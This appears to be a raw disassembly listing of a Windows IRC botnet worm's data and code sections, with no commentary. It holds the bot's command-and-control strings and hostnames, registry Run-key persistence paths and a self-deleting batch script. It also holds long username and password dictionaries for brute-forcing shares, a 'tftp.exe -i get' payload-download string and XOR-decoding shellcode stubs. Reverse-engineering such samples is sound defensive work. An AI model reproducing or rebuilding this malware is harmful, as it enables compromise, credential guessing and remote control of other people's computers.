aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_4052BA+72o
align 10h
aMirc db 'mIRC',0 ; DATA XREF: sub_40537F+5o
; sub_40615D+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_405401+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4054A5+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4054C7+140o
align 8
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4054C7+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4054C7+48o
align 4
dd offset aAdd ; "Add"
dd offset aAdded ; "Added"
dd 0
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_0 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop ; "Stop"
dd offset aStopped ; "Stopped"
dd 1, 41BC5Ch, 41BC54h, 2, 41BC48h, 41BC3Ch, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause db 'Pause',0
align 4
aStopped db 'Stopped',0 ; DATA XREF: .nsp0:0041BC1Co
aStop db 'Stop',0 ; DATA XREF: .nsp0:0041BC18o
align 4
aStarted db 'Started',0 ; DATA XREF: .nsp0:0041BC10o
aStart db 'Start',0 ; DATA XREF: .nsp0:0041BC0Co
align 4
aListed db 'Listed',0 ; DATA XREF: .nsp0:0041BC04o
align 4
aList_0 db 'List',0 ; DATA XREF: .nsp0:0041BC00o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .nsp0:0041BBF8o
aDelete_0 db 'Delete',0 ; DATA XREF: .nsp0:0041BBF4o
align 4
aAdded db 'Added',0 ; DATA XREF: .nsp0:0041BBECo
align 4
aAdd db 'Add',0 ; DATA XREF: .nsp0:0041BBE8o
aGuest db 'Guest',0 ; DATA XREF: .nsp0:0041C340o
align 4
aUser_0 db 'User',0 ; DATA XREF: .nsp0:0041C370o
align 10h
aAdministrator db 'Administrator',0 ; DATA XREF: .nsp0:0041C334o
align 10h
aFlushdnsNotSup db '[FLUSHDNS]: Not supported by this system.',0
; DATA XREF: sub_405687:loc_40574Bo
align 4
aFlushdnsUnable db '[FLUSHDNS]: Unable to allocation ARP cache.',0
; DATA XREF: sub_405687:loc_405726o
aFlushdnsArpCac db '[FLUSHDNS]: ARP cache is empty.',0 ; DATA XREF: sub_405687:loc_4056DCo
aFlushdnsErrorG db '[FLUSHDNS]: Error getting ARP cache: <%d>.',0
; DATA XREF: sub_405687+45o
align 4
aSD db ' %s (%d)',0 ; DATA XREF: sub_405816+119o
align 10h
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_405816+4Eo
; sub_405816+99o
align 4
unk_41BD94 db 1Fh ; DATA XREF: sub_4059C3:loc_405A50o
db 2, 70h, 2
db 1Fh
db 72h, 6Fh, 63h
db 20h
db 2, 0BBh, 2
aProcessListFai db ' Process list failed.',0
align 4
unk_41BDB8 db 1Fh ; DATA XREF: sub_4059C3+86o
db 2, 70h, 2
db 1Fh
db 72h, 6Fh, 63h
db 20h
db 2, 0BBh, 2
aProcessListCom db ' Process list completed.',0
align 10h
unk_41BDE0 db 1Fh ; DATA XREF: sub_4059C3+19o
db 2, 70h, 2
db 1Fh
db 72h, 6Fh, 63h
db 20h
db 2, 0BBh, 2
aListingProcess db ' Listing processes:',0
align 8
unk_41BE08 db 1Fh ; DATA XREF: sub_405AD8+E9o
db 2, 72h, 2
db 1Fh
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 20h
db 2, 0BBh, 2
aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0
align 10h
unk_41BE50 db 1Fh ; DATA XREF: sub_405C55+E1o
db 2, 72h, 2
db 1Fh
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 20h
db 2, 0BBh, 2
aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0
align 4
dword_41BE98 dd 736E6F63h ; DATA XREF: sub_4061FA+Fr
dd 74h, 0
dword_41BEA4 dd 1 ; DATA XREF: sub_4061FA:loc_406221r
off_41BEA8 dd offset sub_405EC4 ; DATA XREF: sub_4061FA+4Ar
aLetter db 'letter',0
align 8
dd 2, 405F22h, 706D6F63h, 2 dup(0)
dd 3, 405F6Fh, 6E756F63h, 797274h, 0
dd 4, 405FDEh, 736Fh, 2 dup(0)
dd 5, 406053h
dword_41BEFC dd 69257325h, 0 ; DATA XREF: sub_405EC4+40o
; .nsp0:00405FBFo ...
dword_41BF04 dd 4350h ; DATA XREF: .nsp0:00405F8Co
dword_41BF08 dd 7C7325h ; DATA XREF: .nsp0:0040600Do
dword_41BF0C dd 5D73255Bh, 7Ch ; DATA XREF: .nsp0:00406117o
dword_41BF14 dd 3F3F3Fh ; DATA XREF: .nsp0:loc_40610Eo
; sub_40A1F9:loc_40A2BCo
dword_41BF18 dd 334B32h ; DATA XREF: .nsp0:00406107o
dword_41BF1C dd 5058h ; DATA XREF: .nsp0:004060F9o
; sub_40A1F9+AAo
dword_41BF20 dd 4B32h ; DATA XREF: .nsp0:004060E9o
; sub_40A1F9+98o
dword_41BF24 dd 454Dh ; DATA XREF: .nsp0:004060D0o
; sub_40A1F9+7Eo
dword_41BF28 dd 3839h ; DATA XREF: .nsp0:004060C0o
; sub_40A1F9+6Co
dword_41BF2C dd 544Eh ; DATA XREF: .nsp0:004060B0o
; sub_40A1F9+5Ao
dword_41BF30 dd 3539h ; DATA XREF: .nsp0:004060A2o
; sub_40A1F9+46o
dword_41BF34 dd 5D64255Bh, 7325h ; DATA XREF: sub_40615D+3Ao
dword_41BF3C dd 5D4D5Bh ; DATA XREF: sub_40615D+2Co
; sub_40615D+51o
unk_41BF40 db 1Fh ; DATA XREF: sub_406264+92o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aIpSPortDIsOpen db ' IP: %s Port: %d is open.',0
align 4
dword_41BF68 dd 273021Fh, 6E61631Fh, 2BB0220h, 635320BBh, 696E6E61h
; DATA XREF: sub_406331+41o
dd 4920676Eh, 25203A50h, 50202C73h, 3A74726Fh, 2E642520h
dd 0
dd offset dword_41BFCC
dd 0
dd offset dword_41BFC4
dd 0
dd offset dword_41BFC0
dd offset dword_41BFBC
dd offset dword_41BFB8
dd offset dword_41BFB4
dword_41BFB4 dd 5C3A44h ; DATA XREF: .nsp0:0041BFB0o
dword_41BFB8 dd 2444h ; DATA XREF: .nsp0:0041BFACo
dword_41BFBC dd 5C3A43h ; DATA XREF: .nsp0:0041BFA8o
dword_41BFC0 dd 2443h ; DATA XREF: .nsp0:0041BFA4o
dword_41BFC4 dd 494D4441h, 244Eh ; DATA XREF: .nsp0:0041BF9Co
dword_41BFCC dd 24435049h, 2 dup(0) ; DATA XREF: .nsp0:0041BF94o
; ---------------------------------------------------------------------------
jmp short loc_41BFDC
; ---------------------------------------------------------------------------
loc_41BFDA: ; CODE XREF: .nsp0:loc_41BFDCp
jmp short loc_41BFE1
; ---------------------------------------------------------------------------
loc_41BFDC: ; CODE XREF: .nsp0:0041BFD8j
call loc_41BFDA
loc_41BFE1: ; CODE XREF: .nsp0:loc_41BFDAj
pop ebx
xor ecx, ecx
mov cx, 0FFFFh
loc_41BFE8: ; CODE XREF: .nsp0:0041BFEDj
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_41BFE8
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cl, 0FFh
loc_41BFFE: ; CODE XREF: .nsp0:0041C003j
xor byte ptr [ebx+0Ch], 0FFh
inc ebx
loop loc_41BFFE
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dd 12h
aTftp_exeIGet db 'tftp.exe -i get ',0
; ---------------------------------------------------------------------------
push 0
call sub_41C0A0
jnz short loc_41C08C
retn
; ---------------------------------------------------------------------------
loc_41C08C: ; CODE XREF: .nsp0:0041C089j
; .nsp0:0041C099j
call near ptr loc_41C091+1
loc_41C091: ; CODE XREF: .nsp0:loc_41C08Cp
add [edx+0], ch
call sub_41C0A0
jz loc_41C08C
retn
; =============== S U B R O U T I N E =======================================
sub_41C0A0 proc near ; CODE XREF: .nsp0:0041C084p
; .nsp0:0041C094p
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
sub_41C0A0 endp
; ---------------------------------------------------------------------------
align 10h
dword_41C0D0 dd 0F51h ; DATA XREF: sub_406422+3A1r
; sub_406422+42Ar
dword_41C0D4 dd 1B58h ; DATA XREF: sub_406422+471r
dword_41C0D8 dd 1AF4h ; DATA XREF: sub_401141+3Ar
; sub_406BAB+2C59r
dword_41C0DC dd 1 ; DATA XREF: sub_406BAB+615r
dword_41C0E0 dd 1 ; DATA XREF: sub_406422+13Fr
dword_41C0E4 dd 1 ; DATA XREF: sub_4054C7+Cr
; sub_406422:loc_40674Er
byte_41C0E8 db 2Eh ; DATA XREF: sub_4037CD:loc_4037D9r
; sub_406BAB+67Er ...
align 4
dword_41C0EC dd 0Ah ; DATA XREF: sub_405EC4+2Br
; sub_405EC4+51r ...
dword_41C0F0 dd 4 ; DATA XREF: sub_4068DA+78r
; sub_406BAB+267r ...
dword_41C0F4 dd 1 ; DATA XREF: sub_4068DA+72r
; sub_406BAB+261r
aNet1 db 'net1',0
align 10h
db 2 dup(0)
byte_41C102 db 1 ; DATA XREF: sub_406BAB:loc_409496r
; sub_406BAB+28F5o
aNet2 db 'net2',0
dd 0
dd 2D610100h, 3368h, 0
dd 1, 2 dup(0)
a3677 db '3677',0
align 4
aAdmin db 'Admin',0
align 4
aAdmin_0 db 'Admin',0
align 4
aKtsFinally db 'KTS-Finally',0 ; DATA XREF: sub_406422+62o
; sub_406BAB+1F95o ...
aHum__ db 'Hum..',0
align 10h
aSock db 'sock',0 ; DATA XREF: sub_406BAB+33DBo
; sub_406BAB+349Eo
align 4
aPrv_blackroz_c db 'prv.blackroz.com',0 ; DATA XREF: sub_406422+396o
; sub_406422+41Fo
align 4
aPrv db '#prv#',0 ; DATA XREF: sub_406422+3ADo
; sub_406422+431o
align 4
aPr__ db 'pr..',0 ; DATA XREF: sub_406422+3C4o
; sub_406422+443o
align 4
byte_41C17C db 70h ; DATA XREF: sub_406422:loc_406879r
; sub_406422+466o
aRv_blackroz_co db 'rv.blackroz.com',0
align 10h
aPrv_0 db '#prv#',0 ; DATA XREF: sub_406422+478o
align 4
aPr___0 db 'pr..',0 ; DATA XREF: sub_406422+48Ao
align 10h
byte_41C1A0 db 74h ; DATA XREF: sub_401141+68o
; sub_401141+176o ...
db 74h, 65h, 69h
dd 6477726Bh, 78652E62h, 65h
aMicrosoftsSyst db 'Microsofts Systems Services One ',0 ; DATA XREF: sub_4031BC+Bo
align 4
aWw db 'Ww|',0 ; DATA XREF: sub_405EC4+12o
aEncrtpyleser_x db 'encrtpyleser.xml',0
align 4
aXi db '+xi',0 ; DATA XREF: sub_406BAB+350Fo
aPrv_1 db '#prv##',0 ; DATA XREF: sub_406BAB:loc_4085DFo
; sub_406BAB+2AB9o ...
align 4
aPrv_2 db '#prv##',0
align 10h
off_41C200 dd offset a@ktw_com ; DATA XREF: sub_406BAB+343Er
; "*@KTW.com"
off_41C204 dd offset aEggdropV1_6_20 ; DATA XREF: sub_406BAB+7F4r
; "eggdrop v1.6.20"
dd offset aEggdropV1_6_17 ; "eggdrop v1.6.17"
aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: .nsp0:off_41AD2Co
align 4
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\OLE',0
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0
align 8
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin_1 ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
dd offset aLinux ; "linux"
align 10h
dd offset byte_422270
dd offset aAdmin_1 ; "admin"
dd offset aAdmin_2 ; "ADMIN"
dd offset aAdmin_3 ; "Admin"
dd offset aAdmin123 ; "admin123"
dd offset aAdministrado_0 ; "Administrador"
dd offset aAdministrate_0 ; "Administrateur"
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrato_1 ; "ADMINISTRATOR"
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aGuest_0 ; "guest"
dd offset aGuest ; "Guest"
dd offset aDefault ; "default"
dd offset aDefault_0 ; "DEFAULT"
dd offset aDefault_1 ; "Default"
dd offset aLocal ; "LOCAL"
dd offset aPassword ; "password"
dd offset aPassword_0 ; "PASSWORD"
dd offset aPassword_1 ; "Password"
dd offset aSystem ; "system"
dd offset aSystem_0 ; "SYSTEM"
dd offset aUser_1 ; "user"
dd offset aUser ; "USER"
dd offset aUser_0 ; "User"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aAdmin_2 ; "ADMIN"
dd offset aPassword_0 ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem_0 ; "SYSTEM"
dd offset aServer_0 ; "SERVER"
dd offset aLocal ; "LOCAL"
dd offset asc_41C4A0 ; "%"
dd offset aPass_0 ; "pass"
dd offset aPasswd ; "passwd"
dd offset aDatabase ; "database"
dd offset aAbcd ; "abcd"
dd offset aAbc123 ; "abc123"
dd offset asc_41C47C ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset dword_419924
dd offset a00 ; "00"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
align 8
dword_41C418 dd 10h ; DATA XREF: sub_40304D+72w
; sub_406BAB+6E2r ...
a000000 db '000000',0 ; DATA XREF: .nsp0:0041C410o
align 4
a00000 db '00000',0 ; DATA XREF: .nsp0:0041C40Co
align 4
a0000 db '0000',0 ; DATA XREF: .nsp0:0041C408o
align 4
a000 db '000',0 ; DATA XREF: .nsp0:0041C404o
a00 db '00',0 ; DATA XREF: .nsp0:0041C400o
align 4
aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .nsp0:0041C3F8o
align 4
aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .nsp0:0041C3F4o
align 4
aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .nsp0:0041C3F0o
aXxxxxx db 'xxxxxx',0 ; DATA XREF: .nsp0:0041C3ECo
align 4
aXxxxx db 'xxxxx',0 ; DATA XREF: .nsp0:0041C3E8o
align 4
aXxxx db 'xxxx',0 ; DATA XREF: .nsp0:0041C3E4o
align 4
aXxx db 'xxx',0 ; DATA XREF: .nsp0:0041C3E0o
aXx db 'xx',0 ; DATA XREF: .nsp0:0041C3DCo
align 4
asc_41C47C: ; DATA XREF: .nsp0:0041C3D8o
unicode 0, <x>,0
aAbc123 db 'abc123',0 ; DATA XREF: .nsp0:0041C3D4o
align 4
aAbcd db 'abcd',0 ; DATA XREF: .nsp0:0041C3D0o
align 10h
aPasswd db 'passwd',0 ; DATA XREF: .nsp0:0041C3C8o
align 4
aPass_0 db 'pass',0 ; DATA XREF: .nsp0:0041C3C4o
align 10h
asc_41C4A0: ; DATA XREF: .nsp0:0041C3C0o
unicode 0, <%>,0
aServer_0 db 'SERVER',0 ; DATA XREF: .nsp0:0041C3B8o
align 4
aBackup db 'BACKUP',0 ; DATA XREF: .nsp0:0041C3B0o
align 4
aAccess db 'ACCESS',0 ; DATA XREF: .nsp0:0041C3A8o
align 4
aTest db 'TEST',0 ; DATA XREF: .nsp0:0041C3A4o
align 4
aDemo db 'DEMO',0 ; DATA XREF: .nsp0:0041C3A0o
align 4
aFiles db 'FILES',0 ; DATA XREF: .nsp0:0041C39Co
align 4
aRead db 'READ',0 ; DATA XREF: .nsp0:0041C398o
align 4
aBoth db 'BOTH',0 ; DATA XREF: .nsp0:0041C394o
align 4
aFull_0 db 'FULL',0 ; DATA XREF: .nsp0:0041C390o
align 4
aWrite db 'WRITE',0 ; DATA XREF: .nsp0:0041C38Co
align 4
aShare db 'SHARE',0 ; DATA XREF: .nsp0:0041C388o
align 4
aTemp db 'TEMP',0 ; DATA XREF: .nsp0:0041C384o
align 4
aRoot_0 db 'ROOT',0 ; DATA XREF: .nsp0:0041C378o
align 4
aGuest_1 db 'GUEST',0 ; DATA XREF: .nsp0:0041C374o
align 4
aUser_1 db 'user',0 ; DATA XREF: .nsp0:0041C368o
align 4
aSystem_0 db 'SYSTEM',0 ; DATA XREF: .nsp0:0041C364o
; .nsp0:0041C3B4o
align 4
aSystem db 'system',0 ; DATA XREF: .nsp0:0041C360o
align 4
aPassword_1 db 'Password',0 ; DATA XREF: .nsp0:0041C35Co
align 4
aPassword_0 db 'PASSWORD',0 ; DATA XREF: .nsp0:0041C358o
; .nsp0:0041C380o
align 4
aPassword db 'password',0 ; DATA XREF: .nsp0:0041C354o
align 10h
aLocal db 'LOCAL',0 ; DATA XREF: .nsp0:0041C350o
; .nsp0:0041C3BCo
align 4
aDefault_1 db 'Default',0 ; DATA XREF: .nsp0:0041C34Co
aDefault_0 db 'DEFAULT',0 ; DATA XREF: .nsp0:0041C348o
aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: .nsp0:0041C330o
align 4
aAdministrate_0 db 'Administrateur',0 ; DATA XREF: .nsp0:0041C328o
align 4
aAdministrado_0 db 'Administrador',0 ; DATA XREF: .nsp0:0041C324o
align 4
aAdmin123 db 'admin123',0 ; DATA XREF: .nsp0:0041C320o
align 4
aAdmin_3 db 'Admin',0 ; DATA XREF: .nsp0:0041C31Co
align 4
aAdmin_2 db 'ADMIN',0 ; DATA XREF: .nsp0:0041C318o
; .nsp0:0041C37Co
align 4
aLinux db 'linux',0 ; DATA XREF: .nsp0:0041C304o
align 4
aDb2 db 'db2',0 ; DATA XREF: .nsp0:0041C300o
aOracle db 'oracle',0 ; DATA XREF: .nsp0:0041C2FCo
align 4
aDba db 'dba',0 ; DATA XREF: .nsp0:0041C2F8o
aDatabase db 'database',0 ; DATA XREF: .nsp0:0041C2F4o
; .nsp0:0041C3CCo
align 4
aDefault db 'default',0 ; DATA XREF: .nsp0:0041C2F0o
; .nsp0:0041C344o
aGuest_0 db 'guest',0 ; DATA XREF: .nsp0:0041C2ECo
; .nsp0:0041C33Co
align 4
aWwwadmin db 'wwwadmin',0 ; DATA XREF: .nsp0:0041C2E8o
align 4
aTeacher db 'teacher',0 ; DATA XREF: .nsp0:0041C2E4o
aStudent db 'student',0 ; DATA XREF: .nsp0:0041C2E0o
aOwner db 'owner',0 ; DATA XREF: .nsp0:0041C2DCo
align 4
aComputer db 'computer',0 ; DATA XREF: .nsp0:0041C2D8o
align 4
aRoot db 'root',0 ; DATA XREF: .nsp0:0041C2D4o
align 10h
aStaff db 'staff',0 ; DATA XREF: .nsp0:0041C2D0o
align 4
aAdmin_1 db 'admin',0 ; DATA XREF: .nsp0:0041C2CCo
; .nsp0:0041C314o
align 10h
aAdmins db 'admins',0 ; DATA XREF: .nsp0:0041C2C8o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: .nsp0:0041C2C4o
aAdministrateur db 'administrateur',0 ; DATA XREF: .nsp0:0041C2C0o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: .nsp0:0041C2BCo
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: .nsp0:0041C2B8o
; .nsp0:0041C32Co ...
align 4
aEggdropV1_6_17 db 'eggdrop v1.6.17',0 ; DATA XREF: .nsp0:0041C208o
aEggdropV1_6_20 db 'eggdrop v1.6.20',0 ; DATA XREF: .nsp0:off_41C204o
a@ktw_com db '*@KTW.com',0 ; DATA XREF: .nsp0:off_41C200o
align 10h
aSDS db '%s %d "%s"',0 ; DATA XREF: sub_406422+27Ao
align 4
aSS_2 db '%s\%s',0 ; DATA XREF: sub_406422+192o
align 4
aSS_3 db '%s%s',0 ; DATA XREF: sub_406422+10Fo
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_406A2F+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_406A2F+35o
align 4
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+3517o
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+3502o
align 4
unk_41C704 db 1Fh ; DATA XREF: sub_406BAB+34E4o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aPasswordAccept db ' Password accepted.',0
align 4
unk_41C728 db 1Fh ; DATA XREF: sub_406BAB+348Bo
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0
align 4
unk_41C758 db 1Fh ; DATA XREF: sub_406BAB+341Eo
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0
align 4
aNoticeSFailed_ db 'NOTICE %s :FAILED.',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+340Fo
; sub_406BAB+347Co
align 10h
aNoticeSFailedS db 'NOTICE %s :FAILED (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+33FBo
; sub_406BAB+3468o
align 10h
asc_41C7C0: ; DATA XREF: sub_406BAB+33CBo
unicode 0, <~>,0
unk_41C7C4 db 1Fh ; DATA XREF: sub_406BAB+32D1o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aInvalidLoginSl db ' Invalid login slot number: %d.',0
align 4
unk_41C7F4 db 1Fh ; DATA XREF: sub_406BAB+32C9o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aNoUserLoggedIn db ' No user logged in at slot: %d.',0
align 4
aProc db 'PROC ',0 ; DATA XREF: sub_406BAB+3264o
align 4
aProcessList db 'Process list',0 ; DATA XREF: sub_406BAB+325Fo
align 4
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_406BAB:loc_409DD2o
align 4
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_406BAB:loc_409DBBo
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_406BAB:loc_409DA4o
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+31E7o
align 4
unk_41C888 db 1Fh ; DATA XREF: sub_406BAB+319Bo
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0
align 4
dword_41C8B8 dd 26D021Fh, 6E69611Fh, 2BB0220h, 6F4220BBh, 44492074h
; DATA XREF: sub_406BAB+315Do
dd 7325203Ah, 2Eh
dword_41C8D4 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h ; DATA XREF: sub_406BAB+312Ao
aFailedToStartL db ' Failed to start list thread, error: <%d>.',0
align 10h
dword_41C910 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h, 73694C20h
; DATA XREF: sub_406BAB+30CBo
dd 68742074h, 64616572h, 2E73h
dword_41C930 dd 627573h ; DATA XREF: sub_406BAB+30A5o
dword_41C934 dd 26D021Fh, 6E69611Fh, 2BB0220h, 655220BBh, 69766F6Dh
; DATA XREF: sub_406BAB+2FD7o
dd 4220676Eh, 2E746Fh
unk_41C950 db 1Fh ; DATA XREF: sub_406BAB+2F9Co
db 2, 70h, 2
db 1Fh
db 72h, 6Fh, 63h
db 20h
db 2, 0BBh, 2
aFailedToStar_1 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_41C98C dd 270021Fh, 636F721Fh, 2BB0220h, 725020BBh, 6563636Fh
; DATA XREF: sub_406BAB+2F3Do
dd 6C207373h, 2E747369h, 0
aFull db 'full',0 ; DATA XREF: sub_406BAB+2F1Do
align 4
unk_41C9B4 db 1Fh ; DATA XREF: sub_406BAB+2ECCo
db 2, 70h, 2
db 1Fh
db 72h, 6Fh, 63h
db 20h
db 2, 0BBh, 2
aAlreadyRunning db ' Already running.',0
align 4
dword_41C9D4 dd 26D021Fh, 6E69611Fh, 2BB0220h, 705520BBh, 656D6974h
; DATA XREF: sub_406BAB+2E7Bo
dd 7325203Ah, 2Eh
dword_41C9F0 dd 26D021Fh, 6E69611Fh, 2BB0220h, 654720BBh, 6C432074h
; DATA XREF: sub_406BAB+2DFAo
dd 6F627069h, 2E647261h, 0
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_406BAB+2DCCo
align 4
aFlushdnsFail_1 db '[FLUSHDNS]: Failed to flush ARP cache.',0
; DATA XREF: sub_406BAB:loc_409959o
align 4
aFlushdnsArpC_0 db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: sub_406BAB+2DA7o
align 4
aFlushdnsFail_0 db '[FLUSHDNS]: Failed to load dnsapi.dll.',0
; DATA XREF: sub_406BAB:loc_409936o
align 4
aFlushdnsFailed db '[FLUSHDNS]: Failed to flush DNS cache.',0
; DATA XREF: sub_406BAB:loc_40992Fo
align 4
aFlushdnsDnsCac db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: sub_406BAB+2D7Do
align 4
unk_41CADC db 1Fh ; DATA XREF: sub_406BAB+2D0Co
db 2, 74h, 2
db 1Fh
db 66h, 74h, 70h
db 20h
db 2, 0BBh, 2
aFailedToStar_2 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_41CB18 db 1Fh ; DATA XREF: sub_406BAB+2C02o
db 2, 74h, 2
db 1Fh
db 66h, 74h, 70h
db 20h
db 2, 0BBh, 2
aAlreadyRunni_0 db ' Already running.',0
align 4
dword_41CB38 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h
; DATA XREF: sub_406BAB:loc_4093FDo
aFailedToKillTh db ' Failed to kill thread: %s.',0
dword_41CB64 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h ; DATA XREF: sub_406BAB+284Bo
aKilledThreadS_ db ' Killed thread: %s.',0
dword_41CB88 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h
; DATA XREF: sub_406BAB:loc_4093AEo
aNoActiveThread db ' No active threads found.',0
align 4
dword_41CBB4 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h ; DATA XREF: sub_406BAB+27F9o
aStoppedDThread db ' Stopped: %d thread(s).',0
aAll db 'all',0 ; DATA XREF: sub_406BAB+27DFo
unk_41CBE0 db 1Fh ; DATA XREF: sub_406BAB+27D2o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_41CC08 db 1Fh ; DATA XREF: sub_406BAB:loc_409364o
db 2, 73h, 2
db 1Fh
db 68h, 65h, 6Ch
db 6Ch ; l
db 20h, 2, 0BBh
db 2
aCouldnTOpenF_0 db ' Couldn',27h,'t open file: %s',0
align 10h
dword_41CC30 dd 273021Fh, 6C65681Fh, 0BB02206Ch, 4620BB02h, 20656C69h
; DATA XREF: sub_406BAB+27AFo
dd 6E65706Fh, 203A6465h, 7325h
unk_41CC50 db 1Fh ; DATA XREF: sub_406BAB+277Co
